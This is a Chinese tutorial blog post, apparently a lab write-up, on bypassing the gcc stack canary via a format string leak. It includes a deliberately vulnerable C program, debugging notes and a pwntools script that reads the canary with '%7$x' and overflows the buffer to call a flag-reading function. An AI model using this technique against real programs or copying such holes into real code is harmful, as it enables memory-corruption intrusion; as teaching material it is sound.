zoukankan      html  css  js  c++  java
  • 通过格式化字符串漏洞绕过canary

    1.1    canary内存保护机制

    1.1.1    canary工作原理

    canary保护机制类似于/GS保护机制,是Linux下gcc编译器的安全保护机制之一,在栈中的结构如下图所示:

     

    在函数初始化的时候回初始化一个随机的canary值置于缓冲区的末端,在函数返回之前会对canary的值进行验证,无误则正常返回。

    1.1.2    通过格式化字符串漏洞绕过canary

    ⑴.原理分析:

    因为通过格式化字符串漏洞可以实现任意内存的读写,而且,在一个程序里,不同函数在运行中使用的canary值是相同的,所以可以通过对格式化字符串漏洞的利用,将canary的值读出来,实现缓冲区溢出攻击后(控制RET地址),在函数退出验证前再将canary 的值填回栈中,通过验证实现函数的正常返回。

    ⑵.环境准备:

     i.存在格式化字符串漏洞的程序:                    

    #include <stdio.h>

    #include <unistd.h>

    void getflag(void) {

        char flag[100];

        FILE *fp = fopen("./flag", "r");

        if (fp == NULL) {

            puts("get flag error");

        }

        fgets(flag, 100, fp);

        puts(flag);

    }

    void init() {

        setbuf(stdin, NULL);

        setbuf(stdout, NULL);

        setbuf(stderr, NULL);

    }

    void fun(void) {

             char buffer[100];

             read(STDIN_FILENO, buffer, 120);

    }

    int main(void) {

             char buffer[6];

             init();

             scanf("%6s",buffer);

             printf(buffer);

             fun();

    }

    ii.测试环境:

     测试平台linux debian 7

    攻击脚本编写模块:pwntools。

    辅助调试插件:gdb-peda

     iii. 编译命令:

    gcc -m32 -g -z execstack -fstack-protector-all -o print_canary.c print_canary

    ⑶.调试分析:

     i. 查看保护机制:

                     

    可以看到只有canary保护机制是成立的。

                      

    ii.找到存在缓冲区溢出漏洞的函数的canary值地址:

    可以看到位于canary的值位于[ebp-0xc]=0xffffd27c处,

     iii. 找到缓冲区起始地址:

     

    参数arg[1]的值为缓冲区的起始地址:0xffffd218。

    iv.确定返回地址指针:

     

    返回地址位于:0xffffd28c。

    ⑷.攻击过程:

    i.攻击思路:

    我们的目的通过格式化字符串漏洞得到canary值,在实现缓冲区溢出攻击后控制fun函数的返回地址,执行getflag函数读取当前目录下的flag文件,在溢出的时候要将得到canary值准确的填入它原来的位置。

    ii.得到getflag函数的地址:

     

    Getflags函数地址为:0x5655572d。

    iii.计算缓冲区大小;

    由上面的调试分析可知:

    缓冲区大小等于缓冲区结束的地址0xffffd27c - 0xffffd218 = 100(字节)。

    iv.分析栈使用情况:

     

    v.编写攻击脚本实现攻击:

    from pwn import *

    context.log_level = 'debug'

    cn = process('./print_canary')

    cn.sendline('%7$x')

    canary = int(cn.recv(),16)

    print hex(canary)

    cn.send('a'*100 + p32(canary) + 'a'*12 + p32(0x5655572d))

    flag = cn.recv()

    log.success('flag is:' + flag)

    攻击结果:

     

    成功。

  • 相关阅读:
    bootstrap-datetimepicker 十年视图、年月视图 附源码
    java面向对象程序设计的五个特性
    简述rtsp,rtmp,http三个协议
    iOS 实现毛玻璃效果
    一个裁剪图片的小工具类,通过一句代码调用
    iOS 中的正则匹配(工具类方法)
    博客园不支持Markdown语法,新博客将发在简书...
    一行代码,让你的应用中UIScrollView的滑动与侧滑返回并存
    仿照微信的效果,实现了一个支持多选、选原图和视频的图片选择器,适配了iOS6-10系统,3行代码即可集成.
    分享一下我封装iOS自定义控件的体会,附上三个好用的控件Demo <时间选择器&多行输入框&日期选择器>
  • 原文地址:https://www.cnblogs.com/zhang293/p/9110929.html
Copyright © 2011-2022 走看看